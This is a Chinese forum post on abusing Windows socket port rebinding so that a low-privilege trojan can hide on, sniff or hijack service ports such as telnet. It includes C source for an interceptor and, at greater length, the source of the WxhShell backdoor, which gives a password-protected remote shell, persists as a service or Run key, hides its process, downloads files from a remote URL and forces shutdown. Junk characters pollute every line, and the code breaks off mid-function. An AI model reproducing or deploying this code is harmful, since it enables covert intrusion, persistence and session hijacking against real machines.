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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0xe!tA  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); LXm5f;  
d\R]>  
  saddr.sin_family = AF_INET; [= GVK  
b& l/)DU  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }c"1;C&{  
jv C.T]<B  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .=nx5y z  
![{>$Q?5  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;B'5B]A3  
NX?IM8\t  
  这意味着什么?意味着可以进行如下的攻击: Y)-)owx7  
.[1"3!T  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 u9:+^F+  
>brf7h  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Ev R6^n/  
@"\j]ZEnY  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `Z}7G@ol  
pnvHh0ck_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  )<kI d4E  
;-OnCLr  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 hSO(s  
0 tZ>yR  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \GR M,c  
a*pwVn  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .!kO2/:6  
} +@H&}u  
  #include [`_ZlC  
  #include JMUk=p<\  
  #include B4<W%lm  
  #include    '>}dqp{Wr  
  DWORD WINAPI ClientThread(LPVOID lpParam);   [&Z3+/lR*  
  int main() #DN5S#Ic  
  { @-~ )M_  
  WORD wVersionRequested; Q UQ"2oC  
  DWORD ret; RW!_Zz Z  
  WSADATA wsaData; j#C1+Us  
  BOOL val; b&y"[1`  
  SOCKADDR_IN saddr; DRBRs-D  
  SOCKADDR_IN scaddr; VPKoBJ&  
  int err; Nvlfi8.  
  SOCKET s; fVU9?^0/)9  
  SOCKET sc; wz,T7L  
  int caddsize; 6%p$C oR  
  HANDLE mt; ^&AhW m7\  
  DWORD tid;   wc3OOyP@0  
  wVersionRequested = MAKEWORD( 2, 2 ); HOn,c@.9Y  
  err = WSAStartup( wVersionRequested, &wsaData ); C/JeD-JG  
  if ( err != 0 ) { S~8w-lG!  
  printf("error!WSAStartup failed!\n"); &?],uHB?d  
  return -1; $/*6tsR  
  } Y=%SK8]Q;  
  saddr.sin_family = AF_INET; rcC}4mNe  
   nTJ-1A7EP  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3 e19l!B  
6hE. i x  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); PP{CK4  
  saddr.sin_port = htons(23); DA/l`Pn  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]8}+%P,Q  
  { =aWj+ggd@  
  printf("error!socket failed!\n"); GJUorj&  
  return -1; !s>AVV$;0  
  } !T((d7;  
  val = TRUE; pT90TcI2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 xm)s%"6n  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1N `1~y  
  { Br}&  
  printf("error!setsockopt failed!\n"); X}Ey6*D:  
  return -1; ~\4B 1n7  
  } aKLA_-E  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; dF d^@b  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 OX"^a$  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 vZgV/?'z  
^V DJGBk  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *Cdw"n  
  { P%#EH2J  
  ret=GetLastError(); +h64idM{U  
  printf("error!bind failed!\n"); 6,ZfC<)  
  return -1; M~0A-*N  
  } h6*&1r  
  listen(s,2); `A]CdgA  
  while(1) %uuh+@/&yz  
  { )JO#Z(  
  caddsize = sizeof(scaddr); ArFsr  
  //接受连接请求 j|`6[93MG  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); sHqs)@D  
  if(sc!=INVALID_SOCKET) fp jy[$8  
  { #Ub"Ii  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); wD|3Czc  
  if(mt==NULL) *4i)aj  
  { O8; `6r  
  printf("Thread Creat Failed!\n"); L|y4u;-Q  
  break; F{:ZHCm  
  } 0XrB+nt  
  } Ub0hISA  
  CloseHandle(mt); !)jw o=l}J  
  } W+A-<Rh\  
  closesocket(s); tQSj[Yl  
  WSACleanup(); Qy)+YhE  
  return 0; Xq3n7d.  
  }   LvWl*:z  
  DWORD WINAPI ClientThread(LPVOID lpParam) thoAEG80  
  { ")/TbT Vu  
  SOCKET ss = (SOCKET)lpParam; hX-([o  
  SOCKET sc; vv2N;/;I  
  unsigned char buf[4096]; y_^w|  
  SOCKADDR_IN saddr; _RLx;Tn)L  
  long num; HF9\SVR B  
  DWORD val; vybQ}dscn  
  DWORD ret; y Iab3/#`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 9uXuV$.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   U>q&p}z0 H  
  saddr.sin_family = AF_INET; AN!MFsk  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [DW}z  
  saddr.sin_port = htons(23); 3)F9:Tzw1  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Cm~h\+"  
  { \9U4V>p  
  printf("error!socket failed!\n"); y8Q96zi  
  return -1; =h?Q.vad  
  } .Z,3:3,]  
  val = 100; 5yvaY "B  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) FmfPi .;1  
  { $jt  UQ1  
  ret = GetLastError(); 2v!ucd}  
  return -1; A)5-w`1  
  } 3Y\7+975m  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hjuzVOE|W  
  { _%HpB=  
  ret = GetLastError(); 81\$X  
  return -1; J{GtH[  
  } K3eYeXV  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) w#?@ulr]d  
  { 8q)wT0A~  
  printf("error!socket connect failed!\n"); T Y|5O! <  
  closesocket(sc); fI{ZElPp  
  closesocket(ss); u9WQ0.  
  return -1; pNOVyyo>BW  
  } 2<d l23  
  while(1) kI|Vv90l  
  { FiTP-~  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <O`yM2/pS  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 s\c*ibxM,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 < q6z$c)K  
  num = recv(ss,buf,4096,0);  b>N) H  
  if(num>0) o8!gV/oy  
  send(sc,buf,num,0); QN%w\ JXS  
  else if(num==0) ?/mkFDN  
  break; V:M$-6jv  
  num = recv(sc,buf,4096,0); 'Ii%/ Ob!  
  if(num>0) (Bta vE  
  send(ss,buf,num,0); s]=s2.=  
  else if(num==0) 3xhv~be  
  break; ~R`Rj*Q2Y  
  } GP"(+5  
  closesocket(ss); 7g-#v'.N  
  closesocket(sc); ; Q-f6)+&  
  return 0 ; fIrl?X']  
  } aBPaC=g{HO  
yOn +Y  
 `O-LM e  
========================================================== F{1;~Yg%  
 P]bq9!{1  
下边附上一个代码,,WXhSHELL % -~W|Y  
+39Vxe:Oy  
========================================================== -Yaw>$nJ  
x+V;UD=mH  
#include "stdafx.h" a:C'N4K  
>*xa\ve  
#include <stdio.h> }*!7 Vrep  
#include <string.h> Tct[0B  
#include <windows.h> ^ <Z^3c>/  
#include <winsock2.h> FzOr#(^  
#include <winsvc.h> cD-.thHO  
#include <urlmon.h> ` [ EzU+  
njk.$]M|nf  
#pragma comment (lib, "Ws2_32.lib") zE{@'  
#pragma comment (lib, "urlmon.lib") ;T0Y= yC  
c#q OK  
#define MAX_USER   100 // 最大客户端连接数 |aiP7C  
#define BUF_SOCK   200 // sock buffer %IS'R`;3  
#define KEY_BUFF   255 // 输入 buffer ALw5M'6q0\  
={9G.%W  
#define REBOOT     0   // 重启 7w7mE  
#define SHUTDOWN   1   // 关机 gf!hO$sQ3  
uN`{; Av  
#define DEF_PORT   5000 // 监听端口 `{g8A P3  
^}XKhn.S'  
#define REG_LEN     16   // 注册表键长度 ?Gq'r2V  
#define SVC_LEN     80   // NT服务名长度 CIt>D'/YT  
Rd5ni2-nve  
// 从dll定义API %0]vW;Q5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {~g(WxE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6qA48:/F=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _=c>>X  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $9znRTFEj  
)!1; =   
// wxhshell配置信息 J@ x%TA  
struct WSCFG { _C9*M6IU  
  int ws_port;         // 监听端口 KlgPDV9mg  
  char ws_passstr[REG_LEN]; // 口令 $or?7 w>  
  int ws_autoins;       // 安装标记, 1=yes 0=no }i1p &EN^  
  char ws_regname[REG_LEN]; // 注册表键名 [/#c9RA  
  char ws_svcname[REG_LEN]; // 服务名 t<O5_}R%d  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w=I' CMRt  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;!4Bw"Gg  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p*10u@,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qC9$xIWq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^/ K\a ,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j(|G) F  
T ,, Ao36  
}; DPvM|n`TW  
Bcx-t)[  
// default Wxhshell configuration n{F$,a  
struct WSCFG wscfg={DEF_PORT, ~mc7O  
    "xuhuanlingzhe", q<>  
    1, W G2 E3y  
    "Wxhshell", JZp*"UzQr  
    "Wxhshell", )^UM8 s  
            "WxhShell Service", \H$Ps9Xh  
    "Wrsky Windows CmdShell Service", !dfc1UjB  
    "Please Input Your Password: ", *|MHQp'A  
  1, V\zf yH\~  
  "http://www.wrsky.com/wxhshell.exe", Wvl>iHB  
  "Wxhshell.exe" O YGh!sW  
    }; (yFR;5Fo  
PMk3b3)Z  
// 消息定义模块 ^5TSo&qZ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C+-GE9=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; hR3lo;'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l-"c-2-!  
char *msg_ws_ext="\n\rExit."; aH)$#6${Ap  
char *msg_ws_end="\n\rQuit."; 3kFOs$3  
char *msg_ws_boot="\n\rReboot..."; 7s_#X|A$  
char *msg_ws_poff="\n\rShutdown..."; &H!3]  
char *msg_ws_down="\n\rSave to "; [B9'/:  
NLFSw  
char *msg_ws_err="\n\rErr!"; 0bxB@(NO  
char *msg_ws_ok="\n\rOK!"; 3X$)cZQ  
ko2Kz k  
char ExeFile[MAX_PATH]; Ghgx8 ]e  
int nUser = 0; I]P'wav~O  
HANDLE handles[MAX_USER]; E6n3[Z  
int OsIsNt; kVs'>H@FY  
=>Y b~r71  
SERVICE_STATUS       serviceStatus; &LE,.Q34  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^yUel.N5"  
l%*KBME  
// 函数声明 PL/as3O^A  
int Install(void); .Gv9RKgd~  
int Uninstall(void); E"5 z T1d  
int DownloadFile(char *sURL, SOCKET wsh); #q1Qa_LXc  
int Boot(int flag); 0es[!  
void HideProc(void); ]Q=D'1 MM  
int GetOsVer(void); k"|4 LPv[  
int Wxhshell(SOCKET wsl); '3Yci(t+  
void TalkWithClient(void *cs); I|lz;i}$  
int CmdShell(SOCKET sock); Z~{0XG\Y  
int StartFromService(void); 2g1[ E_?  
int StartWxhshell(LPSTR lpCmdLine); /5 Wy) -  
a'w~7y!}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |R:gu\gG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); R6~x!  
I%^Ks$<"  
// 数据结构和表定义 ^"\ jIP  
SERVICE_TABLE_ENTRY DispatchTable[] = vz:P 2TkM  
{ Ed9ynJ~)X  
{wscfg.ws_svcname, NTServiceMain}, N2uxiXpQZ=  
{NULL, NULL} }l&Uh &B`  
}; Vh^fbv`?  
J& }/Xw)  
// 自我安装 Pl<r*d)h  
int Install(void)  6\ /x  
{ @cdd~9w  
  char svExeFile[MAX_PATH]; yiGq?WA7  
  HKEY key; naCPSsei  
  strcpy(svExeFile,ExeFile); 2b xkZS]  
'EJ8)2  
// 如果是win9x系统,修改注册表设为自启动 /*g3TbUs  
if(!OsIsNt) { WyVFh AuU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Eq^k @  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k|Vq-w  
  RegCloseKey(key); Zh`lC1l'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~\`lbGJ7?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !s#25}9zX5  
  RegCloseKey(key); qd"1KzQWO  
  return 0; Ar4E $\W  
    } LAeJz_9U  
  } VTySKY+  
} qEr2Y/:i"  
else { r  H;@N  
q}e"E cr  
// 如果是NT以上系统,安装为系统服务 1VK?Svnd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <qN0Q7  
if (schSCManager!=0) T!5m'Q.  
{ 8 $0D-z  
  SC_HANDLE schService = CreateService sfi.zu G  
  ( 9K~2!<  
  schSCManager, SV16]Vc  
  wscfg.ws_svcname, =8$//$  
  wscfg.ws_svcdisp, | 2BIAm]  
  SERVICE_ALL_ACCESS, q%TWtQS  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &Yi)|TU3'R  
  SERVICE_AUTO_START, [hA%VF.9  
  SERVICE_ERROR_NORMAL, "l!WO`.zp=  
  svExeFile, #pP4\n-~hU  
  NULL, ;NH 5 L,  
  NULL, 9Y!N\-x`  
  NULL, / pzdX%7  
  NULL, S-{[3$  
  NULL c^vP d]Ed  
  ); \"B?'Ep;  
  if (schService!=0) 'HTr02riY  
  { sHD8#t^{  
  CloseServiceHandle(schService); u Jy1vI  
  CloseServiceHandle(schSCManager); YO7Y1(`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Wr Ht  
  strcat(svExeFile,wscfg.ws_svcname); BDSZ'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \$Y Kw0K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :b)IDcW&j:  
  RegCloseKey(key); =gS?atbX  
  return 0; J#vIz  Q  
    } '_,/N!-V  
  } O,R5csMh  
  CloseServiceHandle(schSCManager); GZ0? C2\  
} 5ckL=q"+/  
} p3ox%4  
n 1MZHa,  
return 1; 1S9(Zn[2,  
} @5N^^B  
[2?|BUtD[  
// 自我卸载 XlUM~(7+v  
int Uninstall(void) [ qt hn[3  
{ _#@n^c  
  HKEY key; k `JP  
ntbl0Sk  
if(!OsIsNt) { hc OT+L>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L;zwqdI  
  RegDeleteValue(key,wscfg.ws_regname); k8H@0p  
  RegCloseKey(key); {Vw+~8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CsHHJgx  
  RegDeleteValue(key,wscfg.ws_regname); r_nB-\  
  RegCloseKey(key); OV3l)73?t  
  return 0; v+uq  
  } HE58A.Q&  
} D ]Q,~Y&'  
} a0I+|fR  
else { twElLOE  
-V0_%Smc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); eJA$J=^R;  
if (schSCManager!=0) Jb~$Vrdy  
{ H'k$<S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y,Dd} an  
  if (schService!=0) I^"ou M9}Q  
  { /aS=vjs  
  if(DeleteService(schService)!=0) { D\|$ ! i}  
  CloseServiceHandle(schService);  m=D2|WA8  
  CloseServiceHandle(schSCManager); c'cK+32  
  return 0; -4ry)isYx  
  } +v.uP [H  
  CloseServiceHandle(schService); {<&i4;  
  } {y)O ?9q  
  CloseServiceHandle(schSCManager); MCOiB <L6  
} {$D[l hj  
} Cbu/7z   
!>QS746S@  
return 1; &_Kb;UVRj  
} j6v|D>I  
n^aSio6  
// 从指定url下载文件 U-Ia$b-5!  
int DownloadFile(char *sURL, SOCKET wsh) VP0q?lh  
{ G8=2=/ !  
  HRESULT hr; e??tp]PLn  
char seps[]= "/"; ~C[p}MED  
char *token;  gGF]Dq  
char *file; p3>(ZWPNV  
char myURL[MAX_PATH]; )_bc:6Q  
char myFILE[MAX_PATH]; '%Og9Bgd+  
(:9yeP1  
strcpy(myURL,sURL); k(LZ,WSR  
  token=strtok(myURL,seps); HJ#3wk"W  
  while(token!=NULL) ,/0Q($oz  
  { rR`'l=,t  
    file=token; \kSoDY`l&  
  token=strtok(NULL,seps); Zoe>Ow8mE`  
  } LXYpP- E  
6v8HR}iK  
GetCurrentDirectory(MAX_PATH,myFILE); 58xaVOhb  
strcat(myFILE, "\\"); Ku;|Dz/=o  
strcat(myFILE, file); p3tu_If  
  send(wsh,myFILE,strlen(myFILE),0); hOYm =r  
send(wsh,"...",3,0); 9R_2>BDn  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9/A$ 3#wF  
  if(hr==S_OK) 5=/&[=  
return 0; /`(Kbwh   
else _vOV(#q2a  
return 1; CTawXHM  
Q{%2Npvq  
} dRw O t  
@z $,KUH  
// 系统电源模块 GX2aV6}  
int Boot(int flag) !ieMhJ5r  
{ o95)-Wb  
  HANDLE hToken; i%BrnjX  
  TOKEN_PRIVILEGES tkp; cr GFU?8  
 1B}q?8n  
  if(OsIsNt) { [/dGOl+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); & gF*p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (al.7VA;9  
    tkp.PrivilegeCount = 1; $+(Df|)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Mdk(FG(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); yx5F]Z<M2  
if(flag==REBOOT) { UN ;9h9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &O|!w&  
  return 0; -CV_yySc  
} U -RR>j  
else {  R&oC9<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #'`!*VI  
  return 0; MZYh44  
} 0|6]ps4Z7  
  } ~K'e}<-G  
  else { feJzX*u  
if(flag==REBOOT) { 9Z?P/ o  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M:t!g %  
  return 0; l^`& Tnzv  
} `Fn"%P!  
else { Q` ?+w+y7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x"g-okLN  
  return 0; BdW Rm=  
} sk'< K5~  
} m7<HK,d  
V+\L@mz;  
return 1; nP]tc  
} Q?"o.T';  
IZ){xI  
// win9x进程隐藏模块 99QMMup  
void HideProc(void) !LGnh  
{ ku2g FO  
s |40v@ M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |W't-}yf  
  if ( hKernel != NULL ) }iGpuoXT`  
  { $qz(9M(m#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m(2(Caz{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6d4e~F  
    FreeLibrary(hKernel);  Om%HrT  
  } 9NUft8QB  
\R"}=7  
return; 'K|Jg.2  
} k8>(-W"A  
}s*H| z  
// 获取操作系统版本 VSm[80iR0  
int GetOsVer(void) l'yX_`*Iq  
{ :+ASZE.  
  OSVERSIONINFO winfo; U2Uf69R  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7CKpt.Sz6  
  GetVersionEx(&winfo); cZ8lRVaWW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |\HYq`!g%7  
  return 1; ~Te9Lq|  
  else WUC-* (  
  return 0; 'eM90I%(  
} t1LIZ5JY  
P<. TiF?@  
// 客户端句柄模块 T/[8w  
int Wxhshell(SOCKET wsl) xXa* d  
{ S7|6dwQ&  
  SOCKET wsh; xg:r5Z/|)  
  struct sockaddr_in client; 25bbuhss  
  DWORD myID; D\~s$.6B  
;N+ v x  
  while(nUser<MAX_USER)  {J aulg  
{ ;HKb  
  int nSize=sizeof(client); 4blw9x N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); It5U=PU  
  if(wsh==INVALID_SOCKET) return 1; M lv  
KOQiX?'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z.Otci>J  
if(handles[nUser]==0) {c 82bFiv  
  closesocket(wsh); t>f61<27eB  
else FWi c/7  
  nUser++; g&79?h4UXQ  
  } th!$R  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bHJKX>@{  
{|R@\G.1(  
  return 0; y15 MWZ  
} [>P9_zID  
$A4rdhvd  
// 关闭 socket jb~W(8cj  
void CloseIt(SOCKET wsh) 4yZ'+\ +I  
{ s!lLdR[g  
closesocket(wsh); %NyV 2W=~X  
nUser--; 3CKd[=-Z  
ExitThread(0); @Feusprs  
} 9EPE.+ns  
v jTs[eq>  
// 客户端请求句柄 YsX&]4vzm  
void TalkWithClient(void *cs) 2yB@)?V/  
{ 5hhiP2q  
/*V:Lh  
  SOCKET wsh=(SOCKET)cs; p"xti+2,  
  char pwd[SVC_LEN]; o {W4@:Ib  
  char cmd[KEY_BUFF]; R*"31&3le4  
char chr[1]; Qkk3>{I  
int i,j;  +*W9*gl  
3 s@6pI  
  while (nUser < MAX_USER) { ^)JUl!5j]C  
|8QXjzH  
if(wscfg.ws_passstr) { iRbTH}4i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .Mn_T*F  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z~O#0Q !  
  //ZeroMemory(pwd,KEY_BUFF); v?s]up @@h  
      i=0; >A]U.C  
  while(i<SVC_LEN) { A?YU:f  
3`Ug]<m  
  // 设置超时 Y)Os]<N1  
  fd_set FdRead; A#b`{C~l  
  struct timeval TimeOut; *btLd7c%  
  FD_ZERO(&FdRead); 8!R +wy  
  FD_SET(wsh,&FdRead); sp&s 5aw  
  TimeOut.tv_sec=8; A`5/u"]*D  
  TimeOut.tv_usec=0; WfdM~k\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?{)sdJe  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /Zzb7bHLK  
IIn sq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v+), uj  
  pwd=chr[0]; 6w?l I  
  if(chr[0]==0xd || chr[0]==0xa) { +qWrm |O]  
  pwd=0; tom1u>1n  
  break; P' ";L6h  
  } @]{+9m8G@  
  i++; IIZu&iZo\  
    } wsfN \6e  
|9fvj6?Y  
  // 如果是非法用户,关闭 socket _mEW]9Sp  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); he vM'"|4  
} z1K}] z%  
JU6PBY~C'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {vp|f~}zTw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A`#/:O4|f  
7Gos-_s  
while(1) { >V01%fLd  
wt@Qjbqd8  
  ZeroMemory(cmd,KEY_BUFF); `rwzCwA1  
a?d)l nk  
      // 自动支持客户端 telnet标准   eU*0;#  
  j=0;  WR;)  
  while(j<KEY_BUFF) { Gz_[|,i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &7fwYV  
  cmd[j]=chr[0]; (G E)  
  if(chr[0]==0xa || chr[0]==0xd) { u|G&CV#r  
  cmd[j]=0; vqeWt[W v  
  break; 7U3b YU~;  
  } :rdw0EROy  
  j++;  9Kpzj43  
    } F0D7+-9[  
tc|`cB3f  
  // 下载文件 ?<*mIf:?  
  if(strstr(cmd,"http://")) { RaT_5PH~g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hja;d1yH  
  if(DownloadFile(cmd,wsh)) kPuI'EPK  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); LH@xr\^  
  else Z$X[x7e.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'Nqa=_<WW  
  } E7CeE6U  
  else { ,Ky-3p>  
bV3az/U  
    switch(cmd[0]) { I7S#vIMXR.  
  I,nW~;OV0  
  // 帮助 nt5x[xa  
  case '?': { Qf'%".*=~8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <=yqV]JR  
    break; &az :YTq  
  } YF4?3K0F:k  
  // 安装 ='\Di '*  
  case 'i': { ./KXElvQ%  
    if(Install()) e7$ZA#A_5v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6m\MYay  
    else QAk.~ ob  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IAl X^6s*  
    break; 1KI,/H"SY  
    } ~{xm(p  
  // 卸载 MS=zG53y  
  case 'r': { p'fD:M:  
    if(Uninstall()) J% b`*?A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #Bih=A #  
    else k$NNpv&;d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3= q,k<=L  
    break; J8;lG  
    } 1Z$` }a  
  // 显示 wxhshell 所在路径 jG E=7  
  case 'p': { {\ P`-'C  
    char svExeFile[MAX_PATH]; %x]8^vze  
    strcpy(svExeFile,"\n\r"); h{5K9$9=  
      strcat(svExeFile,ExeFile); h,!#YG@>  
        send(wsh,svExeFile,strlen(svExeFile),0); f6*6*=  
    break; G9|w o)N  
    } .^F(&c*['  
  // 重启 ?R MOy$L  
  case 'b': { HT% =o}y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nF)XZB 0F  
    if(Boot(REBOOT)) *}@zxFe +  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 01_*^iCf5  
    else { Dus [N< w  
    closesocket(wsh); A@?Rj  
    ExitThread(0); ?b,x;hIO  
    } jfOqE*frl!  
    break; 5.TeH@(  
    } 3+uCTn0%  
  // 关机 x Ilo@W6  
  case 'd': { 1[ 4)Sq?  
